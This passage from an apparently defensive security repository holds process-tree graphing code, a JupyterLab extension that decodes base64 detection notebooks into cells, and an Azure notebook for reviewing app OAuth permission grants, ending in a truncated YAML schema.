\ 29 | Parent GUID: {}\ 30 | ".format( 31 | row['sourcehostname'], 32 | row['devicecustomstring4'], 33 | row['destinationusername'], 34 | row['sourceprocessid'], 35 | row['resourcecustomfield2'], 36 | row['deviceexternalid'], #guid 37 | row['flowsiemid'], #parent guid 38 | ) 39 | G.add_node(row['flowsiemid'], color='#30a1a5',size=20, title=parent_meta, label=row['sourceprocessname'],) 40 | 41 | #process meta 42 | process_meta = "\ 43 | LogonID: {}/{}
\ 44 | Account: {}
\ 45 | CommandLine: {}
\ 46 | Parent:{}
\ 47 | GUID: {}
\ 48 | Parent GUID: {}\ 49 | ".format( 50 | row['sourcehostname'], 51 | row['devicecustomstring4'], 52 | row['destinationusername'], 53 | row['resourcecustomfield1'], 54 | row['sourceprocessname'], 55 | row['deviceexternalid'], #guid 56 | row['flowsiemid'], #parent guid 57 | 58 | ) 59 | G.add_node(row['deviceexternalid'], color='#30a1a5',size=20, title=process_meta, label=row['destinationprocessname']) 60 | G.add_edge(row['flowsiemid'], row['deviceexternalid'], weight=10) 61 | return 1 62 | 63 | #deviceexternalid - image guid 64 | #flowsiemid - parent image guid 65 | process_tree_nodes['OK'] = process_tree_nodes.apply(lambda row: create_graph(row), axis=1) 66 | 67 | nt = net.Network("1000px", "1000px", heading="Process Tree Graph", notebook=True, directed=True) 68 | nt.from_nx(G) 69 | nt.show("process_tree_graph.html") 70 | 71 | -------------------------------------------------------------------------------- /omega/vizr-extension/.eslintignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | dist 3 | coverage 4 | **/*.d.ts 5 | tests 6 | -------------------------------------------------------------------------------- /omega/vizr-extension/.eslintrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | extends: [ 3 | 'eslint:recommended', 4 | 'plugin:@typescript-eslint/eslint-recommended', 5 | 'plugin:@typescript-eslint/recommended', 6 | 'plugin:prettier/recommended' 7 | ], 8 | parser: '@typescript-eslint/parser', 9 | parserOptions: { 10 | project: 'tsconfig.json', 11 | sourceType: 'module' 12 | }, 13 | plugins: ['@typescript-eslint'], 14 | rules: { 15 | '@typescript-eslint/naming-convention': [ 16 | 'error', 17 | { 18 | 'selector': 'interface', 19 | 'format': ['PascalCase'], 20 | 'custom': { 21 | 'regex': '^I[A-Z]', 22 | 'match': true 23 | } 24 | } 25 | ], 26 | '@typescript-eslint/no-unused-vars': ['warn', { args: 'none' }], 27 | '@typescript-eslint/no-explicit-any': 'off', 28 | '@typescript-eslint/no-namespace': 'off', 29 | '@typescript-eslint/no-use-before-define': 'off', 30 | '@typescript-eslint/quotes': [ 31 | 'error', 32 | 'single', 33 | { avoidEscape: true, allowTemplateLiterals: false } 34 | ], 35 | curly: ['error', 'all'], 36 | eqeqeq: 'error', 37 | 'prefer-arrow-callback': 'error' 38 | } 39 | }; 40 | -------------------------------------------------------------------------------- /omega/vizr-extension/.gitignore: -------------------------------------------------------------------------------- 1 | *.bundle.* 2 | lib/ 3 | node_modules/ 4 | *.egg-info/ 5 | .ipynb_checkpoints 6 | *.tsbuildinfo 7 | vizr-extension/labextension 8 | 9 | # Created by https://www.gitignore.io/api/python 10 | # Edit at https://www.gitignore.io/?templates=python 11 | 12 | ### Python ### 13 | # Byte-compiled / optimized / DLL files 14 | __pycache__/ 15 | *.py[cod] 16 | *$py.class 17 | 18 | # C extensions 19 | *.so 20 | 21 | # Distribution / packaging 22 | .Python 23 | build/ 24 | develop-eggs/ 25 | dist/ 26 | downloads/ 27 | eggs/ 28 | .eggs/ 29 | lib/ 30 | lib64/ 31 | parts/ 32 | sdist/ 33 | var/ 34 | wheels/ 35 | pip-wheel-metadata/ 36 | share/python-wheels/ 37 | .installed.cfg 38 | *.egg 39 | MANIFEST 40 | 41 | # PyInstaller 42 | # Usually these files are written by a python script from a template 43 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 44 | *.manifest 45 | *.spec 46 | 47 | # Installer logs 48 | pip-log.txt 49 | pip-delete-this-directory.txt 50 | 51 | # Unit test / coverage reports 52 | htmlcov/ 53 | .tox/ 54 | .nox/ 55 | .coverage 56 | .coverage.* 57 | .cache 58 | nosetests.xml 59 | coverage.xml 60 | *.cover 61 | .hypothesis/ 62 | .pytest_cache/ 63 | 64 | # Translations 65 | *.mo 66 | *.pot 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # pyenv 78 | .python-version 79 | 80 | # celery beat schedule file 81 | celerybeat-schedule 82 | 83 | # SageMath parsed files 84 | *.sage.py 85 | 86 | # Spyder project settings 87 | .spyderproject 88 | .spyproject 89 | 90 | # Rope project settings 91 | .ropeproject 92 | 93 | # Mr Developer 94 | .mr.developer.cfg 95 | .project 96 | .pydevproject 97 | 98 | # mkdocs documentation 99 | /site 100 | 101 | # mypy 102 | .mypy_cache/ 103 | .dmypy.json 104 | dmypy.json 105 | 106 | # Pyre type checker 107 | .pyre/ 108 | 109 | # End of https://www.gitignore.io/api/python 110 | 111 | # OSX files 112 | .DS_Store 113 | -------------------------------------------------------------------------------- /omega/vizr-extension/.prettierignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | **/node_modules 3 | **/lib 4 | **/package.json 5 | vizr-extension 6 | -------------------------------------------------------------------------------- /omega/vizr-extension/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "singleQuote": true, 3 | "trailingComma": "none", 4 | "arrowParens": "avoid" 5 | } 6 | -------------------------------------------------------------------------------- /omega/vizr-extension/:select-last-run-cell: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 1, 6 | "metadata": {}, 7 | "outputs": [], 8 | "source": [ 9 | "print(\"hello\")" 10 | ] 11 | }, 12 | { 13 | "cell_type": "code", 14 | "execution_count": 2, 15 | "metadata": {}, 16 | "outputs": [], 17 | "source": [ 18 | "print(\"hello\")" 19 | ] 20 | } 21 | ], 22 | "metadata": {}, 23 | "nbformat": 4, 24 | "nbformat_minor": 4 25 | } 26 | -------------------------------------------------------------------------------- /omega/vizr-extension/DRC-05.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 2, 6 | "metadata": {}, 7 | "outputs": [], 8 | "source": [ 9 | "import sys\n", 10 | "import logging\n", 11 | "base_path = \"../../../../\"\n", 12 | "sys.path.insert(0, base_path + \"STR/str-omega/\")" 13 | ] 14 | }, 15 | { 16 | "cell_type": "code", 17 | "execution_count": 3, 18 | "metadata": {}, 19 | "outputs": [], 20 | "source": [ 21 | "from omega.vizr import VizrIntegration\n", 22 | "import pandas as pd" 23 | ] 24 | }, 25 | { 26 | "cell_type": "code", 27 | "execution_count": 7, 28 | "metadata": {}, 29 | "outputs": [ 30 | { 31 | "name": "stdout", 32 | "output_type": "stream", 33 | "text": [ 34 | "#drc\n", 35 | "W3sibWFya2Rvd24iOiAiIyMgQ2hlY2sgaW52ZW50b3J5IGFwcHMgd2l0aCBhY2Nlc3MgaW4geW91ciBvcmdhbml6YXRpb24ifSwgeyJjb2RlIjogImZyb20gdml6ci5henVyZS5iYXNlIGltcG9ydCBBenVyZVxuIn0sIHsibWFya2Rvd24iOiAiIyMgRW50ZXIgY2xpZW50X2lkLCB0ZW5hbnRfaWQsIHNlY3JldFxuIn0sIHsiY29kZSI6ICJheiA9IEF6dXJlKFxuICAgIGNsaWVudF9pZCA9IFwiLi4ucmVkYWN0ZWQgLi4uLlwiLFxuICAgIHRlbmFudF9pZCA9IFwiLi4uXCIsXG4gICAgc2VjcmV0ID0gXCIuLi5cIlxuKVxuIn0sIHsibWFya2Rvd24iOiAiIyMgUnVuIGNlbGxzIGJlbG93IGFuZCByZXZpZXc6XG4tIEluIHRoZSBDb25zZW50VHlwZSBzZWFyY2ggZm9yIHRoZSB2YWx1ZSBcIkFsbFByaW5jaXBsZXNcIi4gVGhlIEFsbFByaW5jaXBhbHMgcGVybWlzc2lvbiBhbGxvd3MgdGhlIGNsaWVudCBhcHBsaWNhdGlvbiB0byBhY2Nlc3MgZXZlcnlvbmUncyBjb250ZW50IGluIHRoZSB0ZW5hbmN5LiBOYXRpdmUgTWljcm9zb2Z0IDM2NSBhcHBsaWNhdGlvbnMgbmVlZCB0aGlzIHBlcm1pc3Npb24gdG8gd29yayBjb3JyZWN0bHkuIEV2ZXJ5IG5vbi1NaWNyb3NvZnQgYXBwbGljYXRpb24gd2l0aCB0aGlzIHBlcm1pc3Npb24gc2hvdWxkIGJlIHJldmlld2VkIGNhcmVmdWxseS5cbi0gSW4gdGhlIFBlcm1pc3Npb24gY29sdW1uIHJldmlldyB0aGUgcGVybWlzc2lvbnMgdGhhdCBlYWNoIGRlbGVnYXRlZCBhcHBsaWNhdGlvbiBoYXMgdG8gY29udGVudC4gTG9vayBmb3IgXFxcIlJlYWRcXFwiIGFuZCBcXFwiV3JpdGVcXFwiIHBlcm1pc3Npb24gb3IgXFxcIiouQWxsXFxcIiBwZXJtaXNzaW9uLCBhbmQgcmV2aWV3IHRoZXNlIGNhcmVmdWxseSBiZWNhdXNlIHRoZXkgbWF5IG5vdCBiZSBhcHByb3ByaWF0ZS5cbiJ9LCB7ImNvZGUiOiAicGQuc2V0X29wdGlvbihcbiAgICAnZGlzcGxheS5tYXhfY29sd2lkdGgnLCAxMDBcbilcbmF6LmdldE9hdXRoMlBlcm1pc3Npb25HcmFudHMoKVxuIn1d\n" 36 | ] 37 | } 38 | ], 39 | "source": [ 40 | "drc = VizrIntegration(\n", 41 | " omega_rules_home = base_path +\"STR-UPS/wip/wip-azure-c2/stratum1\", \n", 42 | " mapping= base_path+\"STR/str-omega/config/mapping.yml\"\n", 43 | ").buildDRC(\"drc-05\")\n", 44 | "\n", 45 | "pd.set_option(\n", 46 | " 'display.max_colwidth', 100\n", 47 | ")\n", 48 | "print(drc)" 49 | ] 50 | }, 51 | { 52 | "cell_type": "markdown", 53 | "metadata": {}, 54 | "source": [ 55 | "## Check inventory apps with access in your organization" 56 | ] 57 | }, 58 | { 59 | "cell_type": "code", 60 | "execution_count": null, 61 | "metadata": {}, 62 | "outputs": [], 63 | "source": [ 64 | "from vizr.azure.base import Azure\n" 65 | ] 66 | }, 67 | { 68 | "cell_type": "markdown", 69 | "metadata": {}, 70 | "source": [ 71 | "## Enter client_id, tenant_id, secret\n" 72 | ] 73 | }, 74 | { 75 | "cell_type": "code", 76 | "execution_count": null, 77 | "metadata": {}, 78 | "outputs": [], 79 | "source": [ 80 | "az = Azure(\n", 81 | " client_id = \"...redacted ....\",\n", 82 | " tenant_id = \"...\",\n", 83 | " secret = \"...\"\n", 84 | ")\n" 85 | ] 86 | }, 87 | { 88 | "cell_type": "markdown", 89 | "metadata": {}, 90 | "source": [ 91 | "## Run cells below and review:\n", 92 | "- In the ConsentType search for the value \"AllPrinciples\". The AllPrincipals permission allows the client application to access everyone's content in the tenancy. Native Microsoft 365 applications need this permission to work correctly. Every non-Microsoft application with this permission should be reviewed carefully.\n", 93 | "- In the Permission column review the permissions that each delegated application has to content. Look for \\\"Read\\\" and \\\"Write\\\" permission or \\\"*.All\\\" permission, and review these carefully because they may not be appropriate.\n" 94 | ] 95 | }, 96 | { 97 | "cell_type": "code", 98 | "execution_count": null, 99 | "metadata": {}, 100 | "outputs": [], 101 | "source": [ 102 | "pd.set_option(\n", 103 | " 'display.max_colwidth', 100\n", 104 | ")\n", 105 | "az.getOauth2PermissionGrants()\n" 106 | ] 107 | }, 108 | { 109 | "cell_type": "code", 110 | "execution_count": null, 111 | "metadata": {}, 112 | "outputs": [], 113 | "source": [] 114 | } 115 | ], 116 | "metadata": { 117 | "kernelspec": { 118 | "display_name": "Python 3", 119 | "language": "python", 120 | "name": "python3" 121 | }, 122 | "language_info": { 123 | "codemirror_mode": { 124 | "name": "ipython", 125 | "version": 3 126 | }, 127 | "file_extension": ".py", 128 | "mimetype": "text/x-python", 129 | "name": "python", 130 | "nbconvert_exporter": "python", 131 | "pygments_lexer": "ipython3", 132 | "version": "3.8.1" 133 | } 134 | }, 135 | "nbformat": 4, 136 | "nbformat_minor": 4 137 | } 138 | -------------------------------------------------------------------------------- /omega/vizr-extension/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, STR All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | * Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | * Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /omega/vizr-extension/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include LICENSE 2 | include README.md 3 | include pyproject.toml 4 | include jupyter-config/vizr-extension.json 5 | 6 | include package.json 7 | include install.json 8 | include ts*.json 9 | include yarn.lock 10 | 11 | graft vizr-extension/labextension 12 | 13 | # Javascript files 14 | graft src 15 | graft style 16 | prune **/node_modules 17 | prune lib 18 | 19 | # Patterns to exclude from any directory 20 | global-exclude *~ 21 | global-exclude *.pyc 22 | global-exclude *.pyo 23 | global-exclude .git 24 | global-exclude .ipynb_checkpoints 25 | -------------------------------------------------------------------------------- /omega/vizr-extension/README.md: -------------------------------------------------------------------------------- 1 | # vizr-extension 2 | 3 | ![Github Actions Status](https://github.com/github_username/vizr-extension/workflows/Build/badge.svg) 4 | 5 | A JupyterLab extension. 6 | 7 | 8 | 9 | ## Requirements 10 | 11 | * JupyterLab >= 3.0 12 | 13 | ## Install 14 | 15 | To install the extension, execute: 16 | 17 | ```bash 18 | pip install vizr-extension 19 | ``` 20 | 21 | ## Uninstall 22 | 23 | To remove the extension, execute: 24 | 25 | ```bash 26 | pip uninstall vizr-extension 27 | ``` 28 | 29 | 30 | ## Contributing 31 | 32 | ### Development install 33 | 34 | Note: You will need NodeJS to build the extension package. 35 | 36 | The `jlpm` command is JupyterLab's pinned version of 37 | [yarn](https://yarnpkg.com/) that is installed with JupyterLab. You may use 38 | `yarn` or `npm` in lieu of `jlpm` below. 39 | 40 | ```bash 41 | # Clone the repo to your local environment 42 | # Change directory to the vizr-extension directory 43 | # Install package in development mode 44 | pip install -e . 45 | # Link your development version of the extension with JupyterLab 46 | jupyter labextension develop . --overwrite 47 | # Rebuild extension Typescript source after making changes 48 | jlpm run build 49 | ``` 50 | 51 | You can watch the source directory and run JupyterLab at the same time in different terminals to watch for changes in the extension's source and automatically rebuild the extension. 52 | 53 | ```bash 54 | # Watch the source directory in one terminal, automatically rebuilding when needed 55 | jlpm run watch 56 | # Run JupyterLab in another terminal 57 | jupyter lab 58 | ``` 59 | 60 | With the watch command running, every saved change will immediately be built locally and available in your running JupyterLab. Refresh JupyterLab to load the change in your browser (you may need to wait several seconds for the extension to be rebuilt). 61 | 62 | By default, the `jlpm run build` command generates the source maps for this extension to make it easier to debug using the browser dev tools. To also generate source maps for the JupyterLab core extensions, you can run the following command: 63 | 64 | ```bash 65 | jupyter lab build --minimize=False 66 | ``` 67 | 68 | ### Development uninstall 69 | 70 | ```bash 71 | pip uninstall vizr-extension 72 | ``` 73 | 74 | In development mode, you will also need to remove the symlink created by `jupyter labextension develop` 75 | command. To find its location, you can run `jupyter labextension list` to figure out where the `labextensions` 76 | folder is located. Then you can remove the symlink named `vizr-extension` within that folder. 77 | -------------------------------------------------------------------------------- /omega/vizr-extension/Untitled.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 2, 6 | "metadata": {}, 7 | "outputs": [ 8 | { 9 | "name": "stdout", 10 | "output_type": "stream", 11 | "text": [ 12 | "hello\n" 13 | ] 14 | } 15 | ], 16 | "source": [ 17 | "print(\"hello\")" 18 | ] 19 | }, 20 | { 21 | "cell_type": "code", 22 | "execution_count": null, 23 | "metadata": {}, 24 | "outputs": [], 25 | "source": [] 26 | }, 27 | { 28 | "cell_type": "code", 29 | "execution_count": null, 30 | "metadata": {}, 31 | "outputs": [], 32 | "source": [ 33 | "print(\"hello\")" 34 | ] 35 | }, 36 | { 37 | "cell_type": "code", 38 | "execution_count": 3, 39 | "metadata": {}, 40 | "outputs": [], 41 | "source": [ 42 | "notebook:select-last-run-cell" 43 | ] 44 | }, 45 | { 46 | "cell_type": "code", 47 | "execution_count": null, 48 | "metadata": {}, 49 | "outputs": [], 50 | "source": [] 51 | }, 52 | { 53 | "cell_type": "code", 54 | "execution_count": null, 55 | "metadata": {}, 56 | "outputs": [], 57 | "source": [ 58 | "notebook:select-last-run-cell" 59 | ] 60 | }, 61 | { 62 | "cell_type": "code", 63 | "execution_count": null, 64 | "metadata": {}, 65 | "outputs": [], 66 | "source": [ 67 | "#2\n", 68 | "notebook:select-last-run-cell" 69 | ] 70 | } 71 | ], 72 | "metadata": { 73 | "kernelspec": { 74 | "display_name": "Python 3", 75 | "language": "python", 76 | "name": "python3" 77 | }, 78 | "language_info": { 79 | "codemirror_mode": { 80 | "name": "ipython", 81 | "version": 3 82 | }, 83 | "file_extension": ".py", 84 | "mimetype": "text/x-python", 85 | "name": "python", 86 | "nbconvert_exporter": "python", 87 | "pygments_lexer": "ipython3", 88 | "version": "3.8.1" 89 | } 90 | }, 91 | "nbformat": 4, 92 | "nbformat_minor": 4 93 | } 94 | -------------------------------------------------------------------------------- /omega/vizr-extension/install.json: -------------------------------------------------------------------------------- 1 | { 2 | "packageManager": "python", 3 | "packageName": "vizr-extension", 4 | "uninstallInstructions": "Use your Python package manager (pip, conda, etc.) to uninstall the package vizr-extension" 5 | } 6 | -------------------------------------------------------------------------------- /omega/vizr-extension/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "vizr-extension", 3 | "version": "0.1.0", 4 | "description": "A JupyterLab extension.", 5 | "keywords": [ 6 | "jupyter", 7 | "jupyterlab", 8 | "jupyterlab-extension" 9 | ], 10 | "homepage": "https://github.com/str-ext-community/blue_team_as_code/tree/main/omega/vizr-extension/", 11 | "bugs": { 12 | "url": "https://github.com/github_username/vizr-extension/issues" 13 | }, 14 | "license": "BSD-3-Clause", 15 | "author": { 16 | "name": "STR", 17 | "email": "str" 18 | }, 19 | "files": [ 20 | "lib/**/*.{d.ts,eot,gif,html,jpg,js,js.map,json,png,svg,woff2,ttf}", 21 | "style/**/*.{css,.js,eot,gif,html,jpg,json,png,svg,woff2,ttf}" 22 | ], 23 | "main": "lib/index.js", 24 | "types": "lib/index.d.ts", 25 | "style": "style/index.css", 26 | "repository": { 27 | "type": "git", 28 | "url": "https://github.com/github_username/vizr-extension.git" 29 | }, 30 | "scripts": { 31 | "build": "jlpm run build:lib && jlpm run build:labextension:dev", 32 | "build:prod": "jlpm run clean && jlpm run build:lib && jlpm run build:labextension", 33 | "build:labextension": "jupyter labextension build .", 34 | "build:labextension:dev": "jupyter labextension build --development True .", 35 | "build:lib": "tsc", 36 | "clean": "jlpm run clean:lib", 37 | "clean:lib": "rimraf lib tsconfig.tsbuildinfo", 38 | "clean:labextension": "rimraf vizr-extension/labextension", 39 | "clean:all": "jlpm run clean:lib && jlpm run clean:labextension", 40 | "eslint": "eslint . --ext .ts,.tsx --fix", 41 | "eslint:check": "eslint . --ext .ts,.tsx", 42 | "install:extension": "jlpm run build", 43 | "watch": "run-p watch:src watch:labextension", 44 | "watch:src": "tsc -w", 45 | "watch:labextension": "jupyter labextension watch ." 46 | }, 47 | "dependencies": { 48 | "@jupyterlab/application": "^3.0.0", 49 | "@jupyterlab/notebook": "^3.0.10", 50 | "@types/node": "^15.0.3", 51 | "js-yaml": "^4.1.0", 52 | "typings": "^2.1.1" 53 | }, 54 | "devDependencies": { 55 | "@jupyterlab/builder": "^3.0.0", 56 | "@typescript-eslint/eslint-plugin": "^4.8.1", 57 | "@typescript-eslint/parser": "^4.8.1", 58 | "eslint": "^7.14.0", 59 | "eslint-config-prettier": "^6.15.0", 60 | "eslint-plugin-prettier": "^3.1.4", 61 | "npm-run-all": "^4.1.5", 62 | "prettier": "^2.1.1", 63 | "rimraf": "^3.0.2", 64 | "typescript": "~4.1.3" 65 | }, 66 | "sideEffects": [ 67 | "style/*.css", 68 | "style/index.js" 69 | ], 70 | "styleModule": "style/index.js", 71 | "jupyterlab": { 72 | "extension": true, 73 | "outputDir": "vizr-extension/labextension" 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /omega/vizr-extension/pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["jupyter_packaging~=0.10,<2", "jupyterlab~=3.0"] 3 | build-backend = "jupyter_packaging.build_api" 4 | 5 | [tool.jupyter-packaging.options] 6 | skip-if-exists = ["vizr-extension/labextension/static/style.js"] 7 | ensured-targets = ["vizr-extension/labextension/static/style.js", "vizr-extension/labextension/package.json"] 8 | 9 | [tool.jupyter-packaging.builder] 10 | factory = "jupyter_packaging.npm_builder" 11 | 12 | [tool.jupyter-packaging.build-args] 13 | build_cmd = "build:prod" 14 | npm = ["jlpm"] 15 | 16 | [tool.check-manifest] 17 | ignore = ["vizr-extension/labextension/**", "yarn.lock", ".*", "package-lock.json"] 18 | -------------------------------------------------------------------------------- /omega/vizr-extension/setup.py: -------------------------------------------------------------------------------- 1 | """ 2 | vizr-extension setup 3 | """ 4 | import json 5 | from pathlib import Path 6 | 7 | import setuptools 8 | 9 | HERE = Path(__file__).parent.resolve() 10 | 11 | # The name of the project 12 | name = "vizr-extension" 13 | 14 | lab_path = (HERE / name / "labextension") 15 | 16 | # Representative files that should exist after a successful build 17 | ensured_targets = [ 18 | str(lab_path / "package.json"), 19 | str(lab_path / "static/style.js") 20 | ] 21 | 22 | labext_name = "vizr-extension" 23 | 24 | data_files_spec = [ 25 | ("share/jupyter/labextensions/%s" % labext_name, str(lab_path), "**"), 26 | ("share/jupyter/labextensions/%s" % labext_name, str(HERE), "install.json"), 27 | ] 28 | 29 | long_description = (HERE / "README.md").read_text() 30 | 31 | # Get the package info from package.json 32 | pkg_json = json.loads((HERE / "package.json").read_bytes()) 33 | 34 | setup_args = dict( 35 | name=name, 36 | version=pkg_json["version"], 37 | url=pkg_json["homepage"], 38 | author=pkg_json["author"]["name"], 39 | author_email=pkg_json["author"]["email"], 40 | description=pkg_json["description"], 41 | license=pkg_json["license"], 42 | long_description=long_description, 43 | long_description_content_type="text/markdown", 44 | packages=setuptools.find_packages(), 45 | install_requires=[ 46 | "jupyter_server>=1.6,<2" 47 | ], 48 | zip_safe=False, 49 | include_package_data=True, 50 | python_requires=">=3.6", 51 | platforms="Linux, Mac OS X, Windows", 52 | keywords=["Jupyter", "JupyterLab", "JupyterLab3"], 53 | classifiers=[ 54 | "License :: OSI Approved :: BSD License", 55 | "Programming Language :: Python", 56 | "Programming Language :: Python :: 3", 57 | "Programming Language :: Python :: 3.6", 58 | "Programming Language :: Python :: 3.7", 59 | "Programming Language :: Python :: 3.8", 60 | "Programming Language :: Python :: 3.9", 61 | "Framework :: Jupyter", 62 | ], 63 | ) 64 | 65 | try: 66 | from jupyter_packaging import ( 67 | wrap_installers, 68 | npm_builder, 69 | get_data_files 70 | ) 71 | post_develop = npm_builder( 72 | build_cmd="install:extension", source_dir="src", build_dir=lab_path 73 | ) 74 | setup_args['cmdclass'] = wrap_installers(post_develop=post_develop, ensured_targets=ensured_targets) 75 | setup_args['data_files'] = get_data_files(data_files_spec) 76 | except ImportError as e: 77 | pass 78 | 79 | if __name__ == "__main__": 80 | setuptools.setup(**setup_args) 81 | -------------------------------------------------------------------------------- /omega/vizr-extension/src/index.ts: -------------------------------------------------------------------------------- 1 | import { 2 | JupyterFrontEnd, 3 | JupyterFrontEndPlugin 4 | } from '@jupyterlab/application'; 5 | import { 6 | INotebookTracker, 7 | NotebookActions 8 | } from '@jupyterlab/notebook'; 9 | import { Buffer } from "buffer" 10 | 11 | /** 12 | * Initialization data for the vizr-extension extension. 13 | */ 14 | const extension: JupyterFrontEndPlugin = { 15 | id: 'vizr-extension:plugin', 16 | autoStart: true, 17 | optional: [INotebookTracker], 18 | activate: (app: JupyterFrontEnd, notebookTracker: INotebookTracker | null) => { 19 | console.log('JupyterLab extension vizr-extension is activated!'); 20 | 21 | NotebookActions.executed.connect((_, action) => { 22 | const current = notebookTracker.currentWidget; 23 | const notebook = current.content; 24 | 25 | var DRC = false; 26 | var content = action.cell.model.toJSON()['source'] as string; 27 | let out = action.cell.model.toJSON()['outputs'] as Array; 28 | out = out[0] 29 | let k: keyof typeof out; 30 | for (k as String in out) { 31 | const v = out[k]; 32 | if(String(k) == "text" && String(v).startsWith('#drc')){ 33 | DRC = true; 34 | content = String(v); 35 | break; 36 | } 37 | } 38 | if (DRC){ 39 | var activeindex = notebook.activeCellIndex 40 | let ar = content.split("\n"); 41 | if(ar.length >= 2){ 42 | // console.log('decoding b64 ...') 43 | let b64 = ar[1]; //.substring(1); 44 | let buff = Buffer.from(b64, 'base64'); 45 | var arr = JSON.parse(buff.toString('utf-8')); //try catch 46 | if (Array.isArray(arr)){ 47 | arr.forEach(function (item) { 48 | let k = Object.keys(item)[0]; 49 | let code = item[k]; 50 | let activeCell = notebook.activeCell; 51 | NotebookActions.insertBelow(notebook); 52 | activeCell.model.value.text = code; 53 | 54 | //change type to markdown 55 | if (k == "markdown"){ 56 | notebook.activeCellIndex = notebook.activeCellIndex - 1; 57 | NotebookActions.changeCellType(notebook, k); 58 | notebook.activeCellIndex = notebook.activeCellIndex + 1; 59 | } 60 | }); 61 | notebook.activeCellIndex = activeindex++; 62 | NotebookActions.renderAllMarkdown(notebook) 63 | } else { 64 | // console.log('not array ...') 65 | } 66 | } 67 | } 68 | }); 69 | } 70 | }; 71 | 72 | export default extension; -------------------------------------------------------------------------------- /omega/vizr-extension/style/base.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/str-ext-community/blue_team_as_code/9b92ded9ab587620c478ce73362fad4c5404c7b6/omega/vizr-extension/style/base.css -------------------------------------------------------------------------------- /omega/vizr-extension/style/index.css: -------------------------------------------------------------------------------- 1 | @import url('base.css'); 2 | -------------------------------------------------------------------------------- /omega/vizr-extension/style/index.js: -------------------------------------------------------------------------------- 1 | import './base.css'; 2 | -------------------------------------------------------------------------------- /omega/vizr-extension/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "allowSyntheticDefaultImports": true, 4 | "composite": true, 5 | "declaration": true, 6 | "esModuleInterop": true, 7 | "incremental": true, 8 | "jsx": "react", 9 | "module": "esnext", 10 | "moduleResolution": "node", 11 | "noEmitOnError": true, 12 | "noImplicitAny": true, 13 | "noUnusedLocals": true, 14 | "preserveWatchOutput": true, 15 | "resolveJsonModule": true, 16 | "outDir": "lib", 17 | "rootDir": "src", 18 | "strict": true, 19 | "strictNullChecks": false, 20 | "target": "es2017", 21 | "types": ["node"], 22 | "typeRoots": ["node_modules/@types"] 23 | }, 24 | "include": ["src/*"] 25 | } 26 | -------------------------------------------------------------------------------- /omega/vizr-extension/vizr-extension/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | import json 3 | from pathlib import Path 4 | 5 | from ._version import __version__ 6 | 7 | HERE = Path(__file__).parent.resolve() 8 | 9 | with (HERE / "labextension" / "package.json").open() as fid: 10 | data = json.load(fid) 11 | 12 | def _jupyter_labextension_paths(): 13 | return [{ 14 | "src": "labextension", 15 | "dest": data["name"] 16 | }] 17 | 18 | -------------------------------------------------------------------------------- /omega/vizr-extension/vizr-extension/_version.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | __all__ = ["__version__"] 5 | 6 | def _fetchVersion(): 7 | HERE = Path(__file__).parent.resolve() 8 | 9 | for settings in HERE.rglob("package.json"): 10 | try: 11 | with settings.open() as f: 12 | return json.load(f)["version"] 13 | except FileNotFoundError: 14 | pass 15 | 16 | raise FileNotFoundError(f"Could not find package.json under dir {HERE!s}") 17 | 18 | __version__ = _fetchVersion() 19 | 20 | -------------------------------------------------------------------------------- /yaml/validation/rare_behavior_schema.yml: -------------------------------------------------------------------------------- 1 | type: map 2 | mapping: 3 | "tldr": #describe the attack/exploit/tool covered 4 | type: str 5 | "atd": # [optional] link to an attack testing dataset 6 | type: str 7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code 8 | type: str 9 | "vizr": # [optional] vizr-specific instructions/code 10 | type: str 11 | "snpr_policy": 12 | type: map 13 | mapping: 14 | "violator": 15 | required: 